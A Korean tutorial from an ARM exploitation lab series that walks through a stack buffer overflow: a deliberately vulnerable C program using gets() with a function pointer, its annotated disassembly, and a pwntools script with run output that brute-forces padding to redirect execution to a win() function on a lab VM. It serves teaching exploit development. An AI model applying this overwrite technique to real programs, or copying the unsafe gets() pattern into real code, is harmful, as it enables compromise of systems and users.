해킹 제어 흐름 – ARM sBOF

8197 단어 securitybeginners
ProtoARM 시리즈의 이번 에피소드에서는 취약한 프로그램을 악용하여 '정상' 제어 흐름을 변경합니다. 이것은 취약한 소스입니다.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    puts("congrats\n");
}

int main()
{
    volatile int (*fp)() = NULL;
    char buffer[64];

    gets(buffer);   
    if (fp)
    {
        printf("jump to 0x%08x\n", fp);
        fp();
    }
}


이 두 함수의 어셈블리를 읽어 보겠습니다.

승리 기능:

00000564 <win>:
prolog:
 564:   b580            push    {r7, lr}
 566:   af00            add     r7, sp, #0

good_boy:
 568:   4b03            ldr     r3, [pc, #12]   ; (578 <win+0x14>)
 56a:   447b            add     r3, pc
 56c:   4618            mov     r0, r3
 56e:   f7ff ef5a       blx     424 <puts@plt>
 572:   bf00            nop

epilog:
 574:   bd80            pop     {r7, pc}
 576:   bf00            nop

string_pool:
 578:   00000096


이 함수는 단순히 메시지를 인쇄합니다. 주소는 0x0564이고 nop 형식의 패딩이 있습니다.

주요 기능:

0000057c <main>:
prolog:
 57c:   b580            push    {r7, lr}
 57e:   b092            sub     sp, #72 ; 0x48
 580:   af00            add     r7, sp, #0
 582:   2300            movs    r3, #0
 584:   647b            str     r3, [r7, #68]           ; fp = NULL
 586:   1d3b            adds    r3, r7, #4
 588:   4618            mov     r0, r3                  ; r0 = buffer
 58a:   f7ff ef46       blx     418 <gets@plt>          ; gets(buffer);
 58e:   6c7b            ldr     r3, [r7, #68]           ; r3 = fp
 590:   2b00            cmp     r3, #0                  ; fp == NULL?
 592:   d007            beq.n   5a4 <main+0x28>


 594:   6c79            ldr     r1, [r7, #68]           ; l1 = fp
 596:   4b06            ldr     r3, [pc, #24]           ; (5b0 <main+0x34>)
 598:   447b            add     r3, pc
 59a:   4618            mov     r0, r3                  ; r0 = fmt
 59c:   f7ff ef36       blx     40c <printf@plt>        ; printf("jump to 0x%08\n", fp);
 5a0:   6c7b            ldr     r3, [r7, #68]           ; r3 = fp
 5a2:   4798            blx     r3                      ; jump to fp

exit_success:
 5a4:   2300            movs    r3, #0
 5a6:   4618            mov     r0, r3

epilog:
 5a8:   3748            adds    r7, #72 ; 0x48
 5aa:   46bd            mov     sp, r7
 5ac:   bd80            pop     {r7, pc}
 5ae:   bf00            nop
 5b0:   00000074        andeq   r0, r0, r4, ror r0

buffer 오버플로는 사용자가 임의의 위치로 이동할 수 있도록 함수 포인터를 덮어씁니다.

다음은 우리가 사용할 수 있는 익스플로잇입니다. 페이로드에는 버퍼를 채우기에 충분한 양의 A와 win의 주소가 포함되어 있으므로 fp 변수를 적절하게 덮어씁니다.

#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 60
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0x00010435)
    process = socket.process('/root/protostarm/stack3/stack3')
    process.sendline(payload)
    res = ""
    while True:
        try:
            res += process.recv().decode()
        except:
            break

    print(res)
    if 'congrats' in res:
        break

    process.close()

socket.close()



user@Azeria-Lab-VM:~/protoarm/stack3$ ./exploit.py 
[+] Connecting to 192.168.0.1 on port 22: Done
[*] [email protected]:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 61
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1565

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1565)
test 62
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1569
jump to 0x00000001

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1569)
test 63
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1573
jump to 0x00000104

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1573)
test 64
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1577
jump to 0x00010435
congrats


[*] Closed connection to '192.168.0.1'


축하해요! 다음으로 fp 없이 제어 흐름을 수정할 수 있지만 pc 레지스터를 직접 사용하는 방법을 알아보겠습니다.

좋은 웹페이지 즐겨찾기